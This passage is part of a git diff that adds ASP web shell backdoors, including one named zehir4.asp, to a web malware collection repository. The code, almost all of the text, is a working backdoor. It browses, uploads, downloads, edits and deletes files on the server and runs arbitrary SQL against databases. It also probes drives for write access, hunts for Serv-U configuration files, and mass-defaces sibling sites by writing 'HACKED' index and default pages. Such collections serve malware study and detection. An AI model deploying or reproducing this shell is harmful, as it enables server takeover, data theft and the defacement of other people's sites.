        "&err.Description + + Call lobjStream.Close() + Set lobjStream = Nothing + End Sub + + Public Property Let FilePath(ByRef pstrPath) + mstrPath = pstrPath + If Not InStrRev(pstrPath, ".") = 0 Then + FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) + FileExt = UCase(FileExt) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) + End If + End Property + + Public Property Get FilePath() + FilePath = mstrPath + End Property + + private Function ASCII2Bytes(ByRef pbinBinaryData) + Const adLongVarBinary=205 + Dim lobjRs + Dim llngLength + Dim lbinBuffer + llngLength = LenB(pbinBinaryData) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) + Call lobjRs.Update() + lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) + Call lobjRs.Close() + Set lobjRs = Nothing + ASCII2Bytes = lbinBuffer + End Function + + Private Function Bytes2Unicode(ByRef pbinBytes) + Dim lobjRs + Dim llngLength + Dim lstrBuffer + llngLength = LenB(pbinBytes) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) + Call lobjRs.Update() + lstrBuffer = lobjRs.Fields("BinaryData").Value + Call lobjRs.Close() + Set lobjRs = Nothing + Bytes2Unicode = lstrBuffer + End Function +End Class +Session("n2") = "EJDER" +'#################################### +function addslash(path) + if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +sub Upload() + dim objUpload,f,max,i,name,path,size,success + + set objUpload=New clsUpload + + targetPath=objUpload.Fields("folder").Value + max=objUpload.Fields("max").Value + + for i=1 to max + name=objUpload.Fields("file" & i).FileName + size=objUpload.Fields("file" & i).Length + if (name<>"") and (size>0) then + gMsg=gMsg & "
        " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " + path=addslash(targetPath) & name + objUpload.Fields("file" & i).SaveAs path + + if objFSO.FileExists(path) then + on error resume next + set f=objFSO.GetFile(path) + if IsObject(f) then + if f.Size=size then success=true else success=false + end if + set f=nothing + end if + if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" + end if + next + response.Write gMsg + set objUpload=nothing + +end sub + +if status="-4" then + Upload() +' hataKontrol + popup=false +end if +'//////////////////////////////// +sub hataKontrol + if err<>0 then + Response.Write "Hata : "&err.Description&"" + end if +end sub + +sub araBul(path_,ara_) + on error resume next + If Len(path_) > 0 Then + cur = path_&"\" + If cur = "\\" Then cur = "" + parent = "" + If InStrRev(cur,"\") > 0 Then + parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) + End If + Else + cur = "" + End If + + Set f = objFSO.GetFolder(cur) + + Set fc = f.Files + For Each f1 In fc + if lcase(InStr(1,f1.name,lcase(ara_)))>0 then + downStr = "" + if lcase(ara_)="mdb" then + Response.Write downStr&" * "&f1.path&" ["&f1.size&"]"&"
        " + else + Response.Write downStr&"! - "&f1.path&" ["&f1.size&"]"&"
        " + end if + end if + Next + + Set fs = f.SubFolders + For Each f1 In fs + araBul f1.path,ara_ + Next + Set f = Nothing + Set fc = Nothing + Set fs = Nothing +end sub + +sub sistemTest + response.Write "" + response.Write "" + + servu_Test + WriteTestOnDriver + WriteTestOnLocalPath + LocalPathParentFolder + LocalPathPParentFolder + + response.Write "
        KonumSonu�
        " +end sub + +sub servu_Test + dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + for each d_ in dosya_ + d_ = drive_.DriveLetter&":\"&d_ + if objFSO.FileExists(d_) then + response.Write "Serv-U ini file : "&d_&"" + end if + next + end if + next +end sub + +function yaziyomu(yol) + on error goto 0:on error resume next + dim sonuc__ + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + sonuc__="Yazma Hakk� Yok!" + else + sonuc__="Yazma Hakk� Var!" + on error goto 0: on error resume next + objFSO.DeleteFile yol & "\test.zehir",true + if err<>0 then + sonuc__=sonuc__&"
        Silme Hakk� Yok!" + else + sonuc__=sonuc__&"
        Silme Hakk� Var!" + end if + end if + yaziyomu = sonuc__ +end function + +function yaziyomu2(yol) + on error goto 0:on error resume next + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + yaziyomu2 = false + else + objFSO.DeleteFile yol & "\test.zehir" + yaziyomu2 = true + end if +end function + +sub WriteTestOnDriver + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + if not yaziyomu2(drive_.DriveLetter&":\") then + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!" + end if + end if + next +end sub + +sub WriteTestOnLocalPath + on error goto 0 + on error resume next + if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then + Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write "Local Path yazma yetkisi var!" + end if +end sub + +sub LocalPathParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + Response.Write "Local Path
        Parent FolderHata Olu�tu : ["&err.Description&"]" + else + Response.Write "Local Path
        Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +sub LocalPathPParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + hed_ = left(hed_,InStrRev(hed_,"\")) + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + if err=451 then + Response.Write "Local Path
        P.Parent FolderData �st Klasor Yok :)" + else + Response.Write "Local Path
        P.Parent FolderHata Olu�tu : ["&err.Description&"]" + end if + else + Response.Write "Local Path
        P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +SELECT CASE status +CASE 13 'Sistem Bilgisi + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        : Sistem Bilgileri :
        Local Adres " & request.servervariables("REMOTE_ADDR") & "
        User Agent " & request.servervariables("HTTP_USER_AGENT") & "
        Server " & request.servervariables("SERVER_NAME") & "
        IP " & request.servervariables("LOCAL_ADDR") & "
        HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
        Port " & request.servervariables("SERVER_PORT") & "
        Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
        Log Root " & request.servervariables("APPL_MD_PATH") & "
        HTTPS " & request.servervariables("HTTPS") & "
        " + popup = false +CASE 14 'Upload and Search + aramaUpload + popup = false + hataKontrol +CASE 15 'Ms. SQL Server + Response.Write "
        " + Response.Write "
        SQL Server i�in connection string giriniz
        " + Response.Write "" + Response.Write "
        " + response.Write "" + Response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 16 'file Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 17 'file Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFile path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFile path,cf + isl="ta��nd�.." + end if + response.Write "Dosya "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 18 'folder Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 19 'folder Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFolder path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFolder path,cf + isl="ta��nd�.." + end if + response.Write "Klasor "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 33 'Powered By + response.Write "

        Powered by Zehir" + response.Write "

        zehirhacker@hotmail.com
        k�ll� nefsun zaifetun mevt" + popup = false + hataKontrol +CASE 40 'Sistem Test + sistemTest + popup=false +CASE 50 'Siteleri Test Edelim :D + %> + + + + +
        + G�venlik Testi byZehir +
        +
        + + + + + + + + + + + + + + + + + + + + +
        Path
        Sub Folder
        File Name
        + + + + + +
        + index.htm
        + default.htm
        +
        + index.asp
        + default.asp
        +
        +
        + Kes + Kopyala + Yap��t�r + Bold + Italic + UnderLine + JustifyLeft + JustifyCenter + JustifyRight + AddLink + AddImage + + + + + + + +
        +
        +
        + <% + popup=false +CASE 51 ' �zel �ilemler +END SELECT +%> + + +<% +if popup then + if status=7 or status=8 then + Response.Write "
        " + Response.Write "
        SQL �al��t�r" + Response.Write "" + Response.Write "" + Response.Write "
        " + end if + Response.Write "
        " + Response.Write "
        Path : " + Response.Write "" + Response.Write "" + Response.Write "

        " +end if +sub aramaUpload +Response.Write "
        " +Response.Write "
        Arama : " +Response.Write " " +Response.Write "" +Response.Write "
        " +%> +
        " ID="Form1"> + +Max: + + + + +
        +
        + +
        + +<% +end sub + +SELECT CASE status +CASE 1 'Driver Open + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "" + Path = Path & ":/" + Response.Write "" + hataKontrol +CASE 2 'Normal listeleme + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + Response.Write "" + hataKontrol +CASE 3 'File Delete + objFSO.DeleteFile del + hataKontrol + if err<>0 then + byMsg="Not File Deleted!
        " + else + byMsg="File Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 4 'Folder Delete + objFSO.DeleteFolder del + hataKontrol + if err<>0 then + byMsg="Not Folder Deleted!
        " + else + byMsg="Folder Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 5 'Dosya i�eri�ini g�r�nt�le + Response.Write "
        "&path&"

        " + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + set f = objFSO.OpenTextFile(path,1) + Response.Write "
        "&Server.HTMLEncode(f.readAll)&"
        " + if err<>62 then hataKontrol + if err.number=62 then Response.Write "":Response.End +CASE 6 'Resim a� + Response.Write "
        zehirhacker@hotmail.com / zehirhacker@hotmail.com

        " +CASE 7 'database tablo listele + Response.Write "Tablolar

        " + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
        " + End If + Next + hataKontrol +CASE 8 'database kay�t listele + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
           "&objRcs.Fields(i).Name&"   
        "&objRcs.Fields(i).Value&" 

        " + hataKontrol +CASE 9 'SQL Execute + Set objConn = Server.CreateObject("ADODB.Connection") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objConn.Execute strSQL +' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time + hataKontrol +CASE 10 'Dosya Editleme + set f = objFSO.OpenTextFile(dPath,1) + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "
        " + hataKontrol +CASE 11 'Dosya Kay�t + set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) + hataKontrol + saveTextFile.Write(dkayit) + saveTextFile.close + if err<>0 then + byMsg = "Not File Edited!
        " + else + byMsg = "File Edited Successful:)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg +CASE 12 'Dosya Arama + araBul path,arama + hataKontrol +END SELECT +Response.Write "
        " + +sub DosyaOku + Set f = objFSO.GetFolder(Path) + Set fc = f.Files + For Each f1 In fc + dosyaAdi = f1.name + num = InStrRev(dosyaAdi,".") + uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) + downStr = "4" + response.Write "" + select case uzanti + case "mdb" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        M �"&downStr&"
        " + case "asp" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        !"&downStr&"
        " + case "jpg","gif" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" �"&downStr&"
        " + case else + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
        " + end select + Next +end sub + +sub KlasorOku + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + if session("klasoroku")="" then + response.Write "" + session("klasoroku")="simdi yaz�l�yor" + end if + For Each f1 In fc + Response.Write "4 1"&f1.name&"
        " + Next +end sub + +function createFileName() +Randomize + fName_ = "" + for i=1 to 10 + fName_ = fName_ & int(Rnd*100) + next + createFileName = fName_ +end function + +function resimYol(path_) +on error resume next + path_ = Replace(Replace(path_,"\","/"),"//","/") + lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) + if yaziyomu2(lpath_) then + fname__ = "0"&createFileName()&"."&Right(path_,3) + objFSO.CopyFile path_, lpath_&"\"&fname__ + else + Response.Write("Resim A��lam�yor..
        �sterseniz Download Ederek g�r�nt�leyebilirsiniz..") + end if + resimYol = fname__ +end function + +if not popup then + Set fc = Nothing + Set objFSO = Nothing + Response.End +end if +%> + <% + Response.Write "" + for each drive_ in objFSO.Drives + Response.Write "" + next + Response.Write "" + Response.Write "
        S�r�c�ler
        " + Response.write ";" + if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" + Response.Write "
        " + Response.write "H Local Path" + Response.Write "

        " +Set fc = Nothing +Set objFSO = Nothing +Response.End%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/zehir4.asp b/web-malware-collection-master/Backdoors/ASP/zehir4.asp new file mode 100755 index 0000000..e911155 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/zehir4.asp @@ -0,0 +1,1190 @@ +<% +mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") +dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) +on error resume next +Dim objFSO,popup +Set objFSO = CreateObject ("Scripting.FileSystemObject") +if Request("kuskapani")=1 then + Response.End +end if + + +if Request("kuskapani")=2 then + on error resume next + path = Request("path") + sFolder = Request("SubFolder") + fName = Request("FileName") + d1 = Request("dosya1") + d2 = Request("dosya2") + d3 = Request("dosya3") + d4 = Request("dosya4") + bg__ = Request.Form("selectColour") + if bg__ = "0" then bg__ = "#ffffff" + byMesaj = "" & Request("byMesaj") & "

        HACKED " & Session("n2") & "3 ;)" + + sFolder = Replace(sFolder,"/","\") + + if Right(sFolder,1)<>"\" then sFolder = sFolder & "\" + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + h__ = 0 + f__ = 0 + ss__ = now + For Each f1 In fc + hedef_ = replace(f1.path,"/","\") + if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\" + hedef__ = left(hedef_,len(hedef_)-1) + folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\")) + if d1<>"" then d1 = true + if d2<>"" then d2 = true + if d3<>"" then d3 = true + if d4<>"" then d4 = true + on error goto 0:on error resume next + if fName<>"" then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True) + MyFile.write byMesaj + end if + if d1 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True) + MyFile.write byMesaj + end if + if d2 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True) + MyFile.write byMesaj + end if + if d3 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True) + MyFile.write byMesaj + end if + if d4 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True) + MyFile.write byMesaj + end if + + if err<>0 then + response.Write folderName_ & " [FAILED!]
        " + f__ = f__ + 1 + else + response.Write folderName_ & " [HACKED]
        " + h__ = h__ + 1 + end if + Next + ss___ = now + response.Write "
        by zehir!...
        Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)
        Hacked = "&h__&"
        Failed = "&f__ + response.End +end if + +status = Request("status") +path = Request("path") +dPath = Request("dPath") +arama = Request("txArama") +dkayit = Request("dkayit") +table = Request("table") +del = Request("del") +islem = Request("islem") +strSQL = Request("strSQL") +cf = Request("cf") +pathfile = request("pathfile") +if path="" then path=request.servervariables("APPL_PHYSICAL_PATH") +if status="" then status=2 +popup = true +'//////////////////////////////// +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Dim BinaryStream + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function +if status="-3" then + Response.Buffer=True + Set Fil = objFSO.GetFile(pathfile) + + Response.contenttype="application/force-download" + Response.AddHeader "Cache-control","private" + Response.AddHeader "Content-Length", Fil.Size + Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name + + Response.BinaryWrite readBinaryFile(Fil.path) + Set f = Nothing: Set Fil = Nothing + response.End() +end if +'////////////////////////////////// +if status="-4" then popup=false +if status="13" then popup=false +if status="14" then popup=false +if status="15" then popup=false +if status="16" then popup=false +if status="17" then popup=false +if status="18" then popup=false +if status="19" then popup=false +if status="33" then popup=false +if status="40" then popup=false +if status="50" then popup=false +byMsg = request.QueryString("byMsg") +if byMsg<>"" then response.Write byMsg +response.Write "zehir3 --> powered by zehir <zehirhacker@hotmail.com>" +if popup then +%> +
        +System Info + | +System Test + | +Sites Test + | +Folder Action + | +SQL Server + | +POWERED BY + +<% +end if +'#################################### +Class clsUpload + Private mbinData + Private mlngChunkIndex + Private mlngBytesReceived + Private mstrDelimiter + Private CR + Private LF + Private CRLF + Private mobjFieldAry() + Private mlngCount + + Private Sub RequestData + Dim llngLength + mlngBytesReceived = Request.TotalBytes + mbinData = Request.BinaryRead(mlngBytesReceived) + End Sub + + Private Sub ParseDelimiter() + mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) + End Sub + + Private Sub ParseData() + Dim llngStart + Dim llngLength + Dim llngEnd + Dim lbinChunk + llngStart = 1 + llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) + While Not llngStart = 0 + llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 + llngLength = llngEnd - llngStart + lbinChunk = MidB(mbinData, llngStart, llngLength) + Call ParseChunk(lbinChunk) + llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) + Wend + End Sub + + Private Sub ParseChunk(ByRef pbinChunk) + Dim lstrName + Dim lstrFileName + Dim lstrContentType + Dim lbinData + Dim lstrDisposition + Dim lstrValue + lstrDisposition = ParseDisposition(pbinChunk) + lstrName = ParseName(lstrDisposition) + lstrFileName = ParseFileName(lstrDisposition) + lstrContentType = ParseContentType(pbinChunk) + If lstrContentType = "" Then + lstrValue = CStrU(ParseBinaryData(pbinChunk)) + Else + lbinData = ParseBinaryData(pbinChunk) + End If + Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) + End Sub + + Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) + Dim lobjField + ReDim Preserve mobjFieldAry(mlngCount) + Set lobjField = New clsField + lobjField.Name = pstrName + lobjField.FilePath = pstrFileName + lobjField.ContentType = pstrContentType + If LenB(pbinData) = 0 Then + lobjField.BinaryData = ChrB(0) + lobjField.Value = pstrValue + lobjField.Length = Len(pstrValue) + Else + lobjField.BinaryData = pbinData + lobjField.Length = LenB(pbinData) + lobjField.Value = "" + End If + Set mobjFieldAry(mlngCount) = lobjField + mlngCount = mlngCount + 1 + End Sub + + Private Function ParseBinaryData(ByRef pbinChunk) + Dim llngStart + llngStart = InStrB(1, pbinChunk, CRLF & CRLF) + If llngStart = 0 Then Exit Function + llngStart = llngStart + 4 + ParseBinaryData = MidB(pbinChunk, llngStart) + End Function + + Private Function ParseContentType(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 15, pbinChunk, CR) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 15 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) + End Function + + Private Function ParseDisposition(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 22 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) + End Function + + Private Function ParseName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 6, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 6 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseName = Mid(pstrDisposition, llngStart, llngLength) + End Function +' ------------------------------------------------------------------------------ + Private Function ParseFileName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 10, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 10 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseFileName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Public Property Get Count() + Count = mlngCount + End Property + + Public Default Property Get Fields(ByVal pstrName) + Dim llngIndex + If IsNumeric(pstrName) Then + llngIndex = CLng(pstrName) + If llngIndex > mlngCount - 1 Or llngIndex < 0 Then + Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") + Exit Property + End If + Set Fields = mobjFieldAry(pstrName) + Else + pstrName = LCase(pstrname) + For llngIndex = 0 To mlngCount - 1 + If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then + Set Fields = mobjFieldAry(llngIndex) + Exit Property + End If + Next + End If + Set Fields = New clsField + End Property + + Private Sub Class_Terminate() + Dim llngIndex + For llngIndex = 0 To mlngCount - 1 + Set mobjFieldAry(llngIndex) = Nothing + + Next + ReDim mobjFieldAry(-1) + End Sub + + Private Sub Class_Initialize() + ReDim mobjFieldAry(-1) + CR = ChrB(Asc(vbCr)) + LF = ChrB(Asc(vbLf)) + CRLF = CR & LF + mlngCount = 0 + Call RequestData + Call ParseDelimiter() + Call ParseData + End Sub + + Private Function CStrU(ByRef pstrANSI) + Dim llngLength + Dim llngIndex + llngLength = LenB(pstrANSI) + For llngIndex = 1 To llngLength + CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) + Next + End Function + + Private Function CStrB(ByRef pstrUnicode) + Dim llngLength + Dim llngIndex + llngLength = Len(pstrUnicode) + For llngIndex = 1 To llngLength + CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) + Next + End Function +End Class +'#################################### +Session("n1") = "by Ejder" +Class clsField + Public Name + Private mstrPath + Public FileDir + Public FileExt + Public FileName + Public ContentType + Public Value + Public BinaryData + Public Length + Private mstrText + + Public Property Get BLOB() + BLOB = BinaryData + End Property + + Public Function BinaryAsText() + Dim lbinBytes + Dim lobjRs + If Length = 0 Then Exit Function + If LenB(BinaryData) = 0 Then Exit Function + + If Not Len(mstrText) = 0 Then + BinaryAsText = mstrText + Exit Function + End If + lbinBytes = ASCII2Bytes(BinaryData) + mstrText = Bytes2Unicode(lbinBytes) + BinaryAsText = mstrText + End Function + + Public Sub SaveAs(ByRef pstrFileName) + Const adTypeBinary=1 + Const adSaveCreateOverWrite=2 + Dim lobjStream + Dim lobjRs + Dim lbinBytes + If Length = 0 Then Exit Sub + If LenB(BinaryData) = 0 Then Exit Sub + Set lobjStream = Server.CreateObject("ADODB.Stream") + lobjStream.Type = adTypeBinary + Call lobjStream.Open() + lbinBytes = ASCII2Bytes(BinaryData) + Call lobjStream.Write(lbinBytes) + + On Error Resume Next + + Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) + + 'if err<>0 then response.Write "
        "&err.Description + + Call lobjStream.Close() + Set lobjStream = Nothing + End Sub + + Public Property Let FilePath(ByRef pstrPath) + mstrPath = pstrPath + If Not InStrRev(pstrPath, ".") = 0 Then + FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) + FileExt = UCase(FileExt) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) + End If + End Property + + Public Property Get FilePath() + FilePath = mstrPath + End Property + + private Function ASCII2Bytes(ByRef pbinBinaryData) + Const adLongVarBinary=205 + Dim lobjRs + Dim llngLength + Dim lbinBuffer + llngLength = LenB(pbinBinaryData) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) + Call lobjRs.Update() + lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) + Call lobjRs.Close() + Set lobjRs = Nothing + ASCII2Bytes = lbinBuffer + End Function + + Private Function Bytes2Unicode(ByRef pbinBytes) + Dim lobjRs + Dim llngLength + Dim lstrBuffer + llngLength = LenB(pbinBytes) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) + Call lobjRs.Update() + lstrBuffer = lobjRs.Fields("BinaryData").Value + Call lobjRs.Close() + Set lobjRs = Nothing + Bytes2Unicode = lstrBuffer + End Function +End Class +Session("n2") = "EJDER" +'#################################### +function addslash(path) + if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +sub Upload() + dim objUpload,f,max,i,name,path,size,success + + set objUpload=New clsUpload + + targetPath=objUpload.Fields("folder").Value + max=objUpload.Fields("max").Value + + for i=1 to max + name=objUpload.Fields("file" & i).FileName + size=objUpload.Fields("file" & i).Length + if (name<>"") and (size>0) then + gMsg=gMsg & "
